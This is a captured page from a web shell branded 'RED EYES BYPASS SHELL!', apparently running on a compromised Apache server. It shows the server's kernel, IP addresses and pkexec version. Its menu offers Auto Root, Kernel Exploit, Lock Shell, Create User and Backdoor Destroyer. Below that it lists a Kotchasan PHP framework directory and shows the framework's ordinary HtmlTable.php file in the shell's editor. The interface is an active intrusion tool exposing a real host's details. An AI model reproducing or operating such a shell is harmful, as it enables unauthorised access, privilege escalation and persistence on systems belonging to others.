Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HtmlTable.php
<?php /** * @filesource Kotchasan/HtmlTable.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * HTML table * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class HtmlTable { /** * caption ของ ตาราง * * @var string */ private $caption; /** * แอเรย์เก็บ property ของตาราง * * @var array */ private $properties; /** * แอเรย์ของ TableRow เก็บแถวของตาราง (tbody) * * @var array */ private $tbody; /** * แอเรย์ของ TableRow เก็บแถวของตาราง (tfoot) * * @var array */ private $tfoot; /** * แอเรย์เก็บข้อมูลส่วน thead * * @var array */ private $thead; /** * class constructure * * @param array $properties */ public function __construct($properties = array()) { $this->tbody = array(); $this->tfoot = array(); $this->thead = array(); $this->properties = $properties; } /** * กำหนด caption ของตาราง * * @param string $text */ public function addCaption($text) { $this->caption = $text; } /** * แทรกแถวของ tfoot * * @param TableRow $row */ public function addFooter(TableRow $row) { $this->tfoot[] = $row; } /** * แทรกแถวของ thead * * @param array $headers */ public function addHeader($headers) { $this->thead[] = $headers; } /** * แทรกแถวของ tbody * * @param array $rows * @param array $attributes */ public function addRow($rows, $attributes = array()) { $tr = TableRow::create($attributes); foreach ($rows as $td) { $tr->addCell($td); } $this->tbody[] = $tr; } /** * สร้างตาราง * * @param array $properties * * @return \static */ public static function create($properties = array()) { $obj = new static($properties); return $obj; } /** * แสดงผลตาราง * * @return string */ public function render() { $prop = array(); foreach ($this->properties as $k => $v) { $prop[] = $k.'="'.$v.'"'; } $table = array("\n<table".(empty($prop) ? '' : ' '.implode(' ', $prop)).'>'); if (!empty($this->caption)) { $table[] = '<caption>'.$this->caption.'</caption>'; } // thead if (!empty($this->thead)) { $thead = array(); foreach ($this->thead as $r => $rows) { $tr = array(); foreach ($rows as $c => $th) { $prop = array('id' => 'id="c'.$c.'"', 'scope' => 'scope="col"'); foreach ($th as $key => $value) { if ($key != 'text') { $prop[$key] = $key.'="'.$value.'"'; } } $tr[] = '<th '.implode(' ', $prop).'>'.(isset($th['text']) ? $th['text'] : '').'</th>'; } if (!empty($tr)) { $thead[] = "<tr>\n".implode("\n", $tr)."\n</tr>"; } } if (!empty($thead)) { $table[] = "<thead>\n".implode("\n", $thead)."\n</thead>"; } } // tfoot if (!empty($this->tfoot)) { $rows = array(); foreach ($this->tfoot as $tr) { $rows[] = $tr->render(); } if (!empty($rows)) { $table[] = "<tfoot>\n".implode("\n", $rows)."\n</tfoot>"; } } // tbody if (!empty($this->tbody)) { $rows = array(); foreach ($this->tbody as $tr) { $rows[] = $tr->render(); } if (!empty($rows)) { $table[] = "<tbody>\n".implode("\n", $rows)."\n</tbody>"; } } $table[] = "</table>\n"; return implode("\n", $table); } } /** * HTML table row * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class TableRow { /** * property ของแถว * * @var array */ private $properties; /** * แอเรย์เก็บรายการ cell ในแถว * * @var array */ private $tds; /** * class constructure * * @param array $properties */ public function __construct($properties = array()) { $this->properties = $properties; $this->tds = array(); } /** * เพิ่ม cell ลงในแถว * * @param array $td */ public function addCell($td) { $this->tds[] = $td; } /** * สร้างแถวสำหรับ tbody * * @param array $properties * * @return \static */ public static function create($properties = array()) { $obj = new static($properties); return $obj; } /** * แสดงผลแถว * * @return string */ public function render() { $prop = array(); foreach ($this->properties as $key => $value) { $prop[$key] = $key.'="'.$value.'"'; } $row = array('<tr '.implode(' ', $prop).'>'); foreach ($this->tds as $c => $td) { $prop = array(); $tag = 'td'; foreach ($td as $key => $value) { if ($key == 'scope') { $tag = 'th'; $prop['scope'] = 'scope="'.$value.'"'; if (isset($this->properties['id'])) { $prop['id'] = 'id="r'.$this->properties['id'].'"'; } } elseif ($key != 'text') { $prop[$key] = $key.'="'.$value.'"'; } } if (isset($this->properties['id'])) { $prop['headers'] = $tag == 'th' ? 'headers="c'.$c.'"' : 'headers="r'.$this->properties['id'].' c'.$c.'"'; } $tr[] = '<'.$tag.' '.implode(' ', $prop).'>'.(isset($th['text']) ? $th['text'] : '').'</'.$tag.'>'; $row[] = '<'.$tag.' '.implode(' ', $prop).'>'.(empty($td['text']) ? '' : $td['text']).'</'.$tag.'>'; } $row[] = '</tr>'; return implode("\n", $row); } }
Close